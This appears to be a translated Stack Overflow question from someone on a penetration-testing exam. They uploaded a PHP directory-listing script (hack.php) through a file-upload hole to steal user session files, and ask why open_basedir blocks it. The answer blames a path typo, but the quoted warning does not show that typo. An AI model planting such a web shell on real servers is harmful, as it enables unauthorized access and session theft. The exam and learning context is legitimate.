open_basedir限制未按预期工作

时间:2016-04-10 07:56:51

标签: php windows penetration-testing open-basedir

我在网络服务器上执行笔测试作为考试中的任务之一,在利用不受限制的文件上传漏洞(https://www.owasp.org/index.php/Unrestricted_File_Upload)后,我试图访问Web服务器上的某个文件夹,我收到了这个错误:

Warning: scandir(): open_basedir restriction in effect. File(C:\inetpub\sitesdata\mysite.com\SESSIONS\USERS) is not within the allowed path(s): (C:\inetpub\vhosts\mysite.com\subdomains\me\httpdocs;C:\inetpub\sitesdata\mysite.com\SESSIONS\USERS) in C:\inetpub\vhosts\mysite.com\subdomains\me\httpdocs\ticketAttachments\4b3519fbe17e82993e76927e5f253e33\hack.php

请注意路径实际上是在允许的路径中(我猜这是考试中此任务的重点,即窃取所有用户会话)。

我无法访问服务器,因此无法更改服务器上的任何设置,我只需要获取可能存储在C:\inetpub\sitesdata\mysite.com\SESSIONS\USERS文件夹中的所有sess_ *文件。

这些是我的hack.php文件的内容:

<pre style="text-align:left">
    <?php
        $files = scandir($_GET['path']);
        foreach ($files as $file) {
            echo $file;
            echo "\n";
        }
    ?>
</pre>

我尝试访问允许路径中的其他路径并且它是相同的。 但奇怪的是,我可以阅读C:\inetpub\vhosts\mysite.com\subdomains\me\httpdocs\ticketAttachments的内容,而不是C:\inetpub\vhosts\mysite.com\subdomains\me\httpdocs,这实际上是在允许的路径中。

我在这里做错了吗?

1 个答案:

答案 0 :(得分:0)

这是一个简单的错字问题。

You want to access:         C:\inetpub\sitesdata\mysite.com\SESSIONS\USERS
The allowed path contains:  C:\inetpub\sitesdata\mysites.com\SESSIONS\USERS

注意缺少的“s”?